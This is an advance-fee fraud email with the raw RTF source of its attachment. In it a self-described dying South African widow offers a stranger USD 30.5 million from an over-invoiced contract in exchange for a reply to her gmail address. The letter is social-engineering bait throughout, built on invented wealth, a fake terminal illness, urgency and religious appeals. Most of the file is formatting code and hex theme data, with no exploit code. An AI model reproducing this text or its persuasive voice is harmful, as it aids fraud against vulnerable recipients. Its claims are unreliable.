I PRAY THAT THIS MAIL GET TO YOU IN GOOD HEALTH. PLEASE REPLY ME HERE E-MAIL (gracemanda280@gmail.com) Attachment content - From Mrs Grace Manda.rtf:{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff37\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;} {\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;} {\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;} {\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;} {\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhiminor\f31506\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;} {\fbiminor\f31507\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f39\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\f40\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} {\f42\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f43\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f44\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f45\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} {\f46\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f47\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\f379\fbidi \froman\fcharset238\fprq2 Cambria Math CE;}{\f380\fbidi \froman\fcharset204\fprq2 Cambria Math Cyr;} {\f382\fbidi \froman\fcharset161\fprq2 Cambria Math Greek;}{\f383\fbidi \froman\fcharset162\fprq2 Cambria Math Tur;}{\f386\fbidi \froman\fcharset186\fprq2 Cambria Math Baltic;}{\f409\fbidi \fswiss\fcharset238\fprq2 Calibri CE;} {\f410\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}{\f412\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\f413\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}{\f416\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;} {\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} {\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} {\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbmajor\f31518\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} {\fdbmajor\f31519\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\fdbmajor\f31521\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fdbmajor\f31522\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;} {\fdbmajor\f31523\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fdbmajor\f31524\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fdbmajor\f31525\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;} {\fdbmajor\f31526\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;} {\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;}{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;} {\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} {\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} {\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} {\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;} {\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;} {\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbminor\f31558\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fdbminor\f31559\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} {\fdbminor\f31561\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fdbminor\f31562\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fdbminor\f31563\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} {\fdbminor\f31564\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fdbminor\f31565\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fdbminor\f31566\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} {\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;} {\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} {\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} {\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}} {\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0; \red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\chyperlink\ctint255\cshade255\red0\green0\blue255;}{\*\defchp \f37\fs22 }{\*\defpap \ql \li0\ri0\sa200\sl276\slmult1 \widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af37\afs22\alang1025 \ltrch\fcs0 \f37\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \snext0 \sqformat \spriority0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* \ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\trcbpat1\trcfpat1\tblind0\tblindtype3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \ql \li0\ri0\sa200\sl276\slmult1 \widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af37\afs22\alang1025 \ltrch\fcs0 \f37\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \snext11 \ssemihidden \sunhideused \sqformat Normal Table;}{\*\cs15 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf17 \sbasedon10 \sunhideused \styrsid8545390 Hyperlink;}}{\*\rsidtbl \rsid72068\rsid550148\rsid1466351\rsid2176492\rsid2183919\rsid3875265\rsid7234829\rsid7477678\rsid7742788\rsid8545390\rsid9190723\rsid10693476 \rsid11696757\rsid11929386\rsid13571073\rsid14109720\rsid14691824\rsid14748464\rsid15487399}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\title From Mrs} {\author User}{\operator COMPUTER 10}{\creatim\yr2014\mo9\dy8\hr7\min58}{\revtim\yr2014\mo9\dy8\hr7\min58}{\version2}{\edmins2}{\nofpages1}{\nofwords599}{\nofchars2751}{\*\company pc25}{\nofcharsws3344}{\vern32859}}{\*\xmlnstbl {\xmlns1 http://schemas.mic rosoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1440\margr1440\margt1440\margb1440\gutter0\ltrsect \widowctrl\ftnbj\aenddoc\trackmoves1\trackformatting1\donotembedsysfont0\relyonvml0\donotembedlingdata1\grfdocevents0\validatexml0\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors0\noxlattoyen \expshrtn\noultrlspc\dntblnsbdb\nospaceforul\hyphcaps0\horzdoc\dghspace120\dgvspace120\dghorigin1701\dgvorigin1984\dghshow0\dgvshow3\jcompress\viewkind1\viewscale120\nolnhtadjtbl\rsidroot2176492 \fet0{\*\wgrffmtfilter 2450}\ilfomacatclnup0\ltrpar \sectd \ltrsect\linex0\sectdefaultcl\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4 \pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (} {\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\wrapdefault\faauto\rin0\lin0\itap0 \rtlch\fcs1 \af37\afs22\alang1025 \ltrch\fcs0 \f37\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 From Mrs. Grace Manda\line Formal worker in South Africa \line Gold panning association \par (}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\cf2\insrsid13571073 gracemanda}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\cf2\insrsid550148 280}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\cf2\insrsid2176492\charrsid7234829 @gmail.com}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 )}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 \~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 My Dearest in }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid7234829\charrsid7234829 Christ}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 ,}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 \~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 \~ First, let me start by introducing myself My name is Mrs. Grace Manda a nationality of south Africa ,I was working with South Africa gold panning association. You can view the profile of South Africa gold panning association at (}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\ul\cf2\insrsid8545390 }{\field{\*\fldinst {\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\ul\cf2\insrsid8545390 HYPERLINK "http://}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\ul\cf2\insrsid8545390\charrsid7234829 www.sagoldpanning.co.za}{ \rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\ul\cf2\insrsid8545390 " }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\ul\cf2\insrsid15487399 {\*\datafield 00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90b4000000068007400740070003a002f002f007700770077002e007300610067006f006c006400700061006e006e0069006e0067002e0063006f002e007a0061002f000000001f00}}}{\fldrslt {\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs15\b\f0\ul\cf17\insrsid8545390\charrsid3875265 www.sagoldpanning.co.za}}}\sectd \ltrsect\linex0\sectdefaultcl\sftnbj {\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\ul\cf2\insrsid8545390 }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 ) and read about us.\~ I am married to late Mr.Bongani Manda; we were married for twenty years with a child. He died after an illness that lasted for four weeks. Please I know this may come to you by surprise, because you did not know me, I needed your assistance that was why I write you through divine direction, it is my desire of going into relationship with you.}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 \~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 \~Before his death we were both born again Christians. When my late husband was alive we deposited the sum of USD$30.5M (Thirty Million Five Hundred Thousand U.S.Dol lars) with Finance/bank Presently, This fund emanated as a result of an over-invoiced contract which he executed with the South Africa gold panning association. Though I assisted him in getting this contract but I never knew that it was over-invoiced by h i m. I am afraid that the government of South Africa might start to investigate on contracts awarded from South Africa gold panning association. This money is still with the bank. Recently my Doctor told me that I would not last for the next three months du e to my cancer problem, though what disturbs me most is my stroke. Having known my condition I decided to donate this fund to church or better still a Christian individual that will utilize this money the way I am going to instruct here in. I want a person or church that will use this fund to churches, orphanages, research centers and widows propagating the word of God and to ensure that the house of God is maintained.}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 \~\line The Bible made us to understand that blessed is the hand that grivet. I took this decision because I have a child that will inherit this money but my son }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid9190723\charrsid7234829 cannot}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid9190723\charrsid7234829 carry out}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 this work only because I and my late husband decide to use some of the money to work for God and live some for our son to have a}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid9190723 better live. Our son is just 18}{ \rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 year old now and been grow up in Africa, he have low maturity Hence the reason for taking this bold decision. I am not afraid of death hence I know that I am going to be in the bosom of the Lord. Exodus 14 VS 14 says that the lord will fight my case and I shall hold m y peace.\line \~\line I will like you to understand that my contact to you is a divine direction from God; As soon as I receive your reply I shall give you the contact of the Finance/bank. I will also issue you a letter of authority that will empower you as the new be neficiary of this fund. My happiness is that I live a life of a worthy Christian. Any delay in your reply will give me room in sourcing for a church or Christian individual for this same purpose. }{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 \~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 Please assure me that you will act accordingly as I state d here and Please I will like you to contact me immediately you receive this mail so that I will instruct the Finance/bank to! Transfer this fund into your account.\line \~\line Remain blessed in the name of the Lord. }{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par \line }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 Mrs. Grace\~Manda\~and\~Son\~Brian }{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid2176492\charrsid7234829 \par }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 God\rquote s grace is sufficient for me \par Mrs. Grace\~Manda}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid9190723 ,}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid9190723\charrsid9190723 }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid9190723\charrsid14748464 My Private E-Mail}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid7234829\charrsid7234829 \~}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid7234829 (}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\cf2\insrsid13571073 gracemanda}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\cf2\insrsid550148 280}{ \rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\cf2\insrsid72068\charrsid7234829 @gmail.com}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \b\f0\insrsid2176492\charrsid7234829 ) \par }{\*\themedata 504b030414000600080000002100828abc13fa0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb6ac3301045f785fe83d0b6d8 72ba28a5d8cea249777d2cd20f18e4b12d6a8f843409c9df77ecb850ba082d74231062ce997b55ae8fe3a00e1893f354e9555e6885647de3a8abf4fbee29bbd7 2a3150038327acf409935ed7d757e5ee14302999a654e99e393c18936c8f23a4dc072479697d1c81e51a3b13c07e4087e6b628ee8cf5c4489cf1c4d075f92a0b 44d7a07a83c82f308ac7b0a0f0fbf90c2480980b58abc733615aa2d210c2e02cb04430076a7ee833dfb6ce62e3ed7e14693e8317d8cd0433bf5c60f53fea2fe7 065bd80facb647e9e25c7fc421fd2ddb526b2e9373fed4bb902e182e97b7b461e6bfad3f010000ffff0300504b030414000600080000002100a5d6a7e7c00000 00360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4fc7060abb08 84a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b63095120f88d94fbc 52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462a1a82fe353 bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f7468656d652f7468 656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b4b0d592c9c 070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b4757e8d3f7 29e245eb2b260a0238fd010000ffff0300504b03041400060008000000210096b5ade296060000501b0000160000007468656d652f7468656d652f7468656d65 312e786d6cec594f6fdb3614bf0fd87720746f6327761a07758ad8b19b2d4d1bc46e871e698996d850a240d2497d1bdae38001c3ba618715d86d87615b8116d8 a5fb34d93a6c1dd0afb0475292c5585e9236d88aad3e2412f9e3fbff1e1fa9abd7eec70c1d1221294fda5efd72cd4324f1794093b0eddd1ef62fad79482a9c04 98f184b4bd2991deb58df7dfbb8ad755446282607d22d771db8b944ad79796a40fc3585ee62949606ecc458c15bc8a702910f808e8c66c69b9565b5d8a314d3c 94e018c8de1a8fa94fd05093f43672e23d06af89927ac06762a049136785c10607758d9053d965021d62d6f6804fc08f86e4bef210c352c144dbab999fb7b471 7509af678b985ab0b6b4ae6f7ed9ba6c4170b06c788a705430adf71bad2b5b057d03606a1ed7ebf5babd7a41cf00b0ef83a6569632cd467faddec9699640f671 9e76b7d6ac355c7c89feca9cccad4ea7d36c65b258a206641f1b73f8b5da6a6373d9c11b90c537e7f08dce66b7bbeae00dc8e257e7f0fd2badd5868b37a088d1 e4600ead1ddaef67d40bc898b3ed4af81ac0d76a197c86826828a24bb318f3442d8ab518dfe3a20f000d6458d104a9694ac6d88728eee2782428d60cf03ac1a5 193be4cbb921cd0b495fd054b5bd0f530c1931a3f7eaf9f7af9e3f45c70f9e1d3ff8e9f8e1c3e3073f5a42ceaa6d9c84e5552fbffdeccfc71fa33f9e7ef3f2d1 17d57859c6fffac327bffcfc793510d26726ce8b2f9ffcf6ecc98baf3efdfdbb4715f04d814765f890c644a29be408edf3181433567125272371be15c308d3f2 8acd249438c19a4b05fd9e8a1cf4cd296699771c393ac4b5e01d01e5a30a787d72cf1178108989a2159c77a2d801ee72ce3a5c545a6147f32a99793849c26ae6 6252c6ed637c58c5bb8b13c7bfbd490a75330f4b47f16e441c31f7184e140e494214d273fc80900aedee52ead87597fa824b3e56e82e451d4c2b4d32a423279a 668bb6690c7e9956e90cfe766cb37b077538abd27a8b1cba48c80acc2a841f12e698f13a9e281c57911ce298950d7e03aba84ac8c154f8655c4f2af074481847 bd804859b5e696007d4b4edfc150b12addbecba6b18b148a1e54d1bc81392f23b7f84137c2715a851dd0242a633f900710a218ed715505dfe56e86e877f0034e 16bafb0e258ebb4faf06b769e888340b103d3311da9750aa9d0a1cd3e4efca31a3508f6d0c5c5c398602f8e2ebc71591f5b616e24dd893aa3261fb44f95d843b 5974bb5c04f4edafb95b7892ec1108f3f98de75dc97d5772bdff7cc95d94cf672db4b3da0a6557f70db629362d72bcb0431e53c6066acac80d699a6409fb44d0 8741bdce9c0e4971624a2378cceaba830b05366b90e0ea23aaa241845368b0eb9e2612ca8c742851ca251ceccc70256d8d87265dd96361531f186c3d9058edf2 c00eafe8e1fc5c509031bb4d680e9f39a3154de0accc56ae644441edd76156d7429d995bdd88664a9dc3ad50197c38af1a0c16d684060441db02565e85f3b966 0d0713cc48a0ed6ef7dedc2dc60b17e92219e180643ed27acffba86e9c94c78ab90980d8a9f0913ee49d62b512b79626fb06dccee2a432bbc60276b9f7dec44b 7904cfbca4f3f6443ab2a49c9c2c41476dafd55c6e7ac8c769db1bc399161ee314bc2e75cf8759081743be1236ec4f4d6693e5336fb672c5dc24a8c33585b5fb 9cc24e1d4885545b58463634cc5416022cd19cacfccb4d30eb45296023fd35a458598360f8d7a4003bbaae25e331f155d9d9a5116d3bfb9a95523e51440ca2e0 088dd844ec6370bf0e55d027a012ae264c45d02f708fa6ad6da6dce29c255df9f6cae0ec38666984b372ab5334cf640b37795cc860de4ae2816e95b21be5ceaf 8a49f90b52a51cc6ff3355f47e0237052b81f6800fd7b802239daf6d8f0b1571a8426944fdbe80c6c1d40e8816b88b8569082ab84c36ff0539d4ff6dce591a26 ade1c0a7f669880485fd484582903d284b26fa4e2156cff62e4b9265844c4495c495a9157b440e091bea1ab8aaf7760f4510eaa69a6465c0e04ec69ffb9e65d0 28d44d4e39df9c1a52ecbd3607fee9cec7263328e5d661d3d0e4f62f44acd855ed7ab33cdf7bcb8ae889599bd5c8b3029895b6825696f6af29c239b75a5bb1e6 345e6ee6c28117e73586c1a2214ae1be07e93fb0ff51e133fb65426fa843be0fb515c187064d0cc206a2fa926d3c902e907670048d931db4c1a44959d366ad93 b65abe595f70a75bf03d616c2dd959fc7d4e6317cd99cbcec9c58b34766661c7d6766ca1a9c1b327531486c6f941c638c67cd22a7f75e2a37be0e82db8df9f30 254d30c1372581a1f51c983c80e4b71ccdd28dbf000000ffff0300504b0304140006000800000021000dd1909fb60000001b010000270000007468656d652f74 68656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384e4350d363f24 51eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89d93b64b060828e6f37ed1567914b284d262452282e3198 720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017cc524bd62107bd5001996509affb3fd381a89672f1f165dfe514173d9850528 a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d0014000600080000002100828abc13fa0000001c0200001300000000000000000000000000 000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600080000002100a5d6a7e7c0000000360100000b000000000000000000000000 002b0100005f72656c732f2e72656c73504b01022d00140006000800000021006b799616830000008a0000001c00000000000000000000000000140200007468 656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d001400060008000000210096b5ade296060000501b000016000000000000000000 00000000d10200007468656d652f7468656d652f7468656d65312e786d6c504b01022d00140006000800000021000dd1909fb60000001b010000270000000000 00000000000000009b0900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d010000960a00000000} {\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d 617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169 6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363 656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e} {\*\latentstyles\lsdstimax267\lsdlockeddef0\lsdsemihiddendef1\lsdunhideuseddef1\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 Normal; \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 heading 1;\lsdqformat1 \lsdpriority0 heading 2;\lsdqformat1 \lsdpriority0 heading 3;\lsdqformat1 \lsdpriority0 heading 4;\lsdqformat1 \lsdpriority0 heading 5;\lsdqformat1 \lsdpriority0 heading 6; \lsdqformat1 \lsdpriority0 heading 7;\lsdqformat1 \lsdpriority0 heading 8;\lsdqformat1 \lsdpriority0 heading 9;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 2; \lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 6; \lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 7;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 8;\lsdsemihidden0 \lsdunhideused0 \lsdpriority0 toc 9;\lsdqformat1 \lsdpriority0 caption; \lsdsemihidden0 \lsdunhideused0 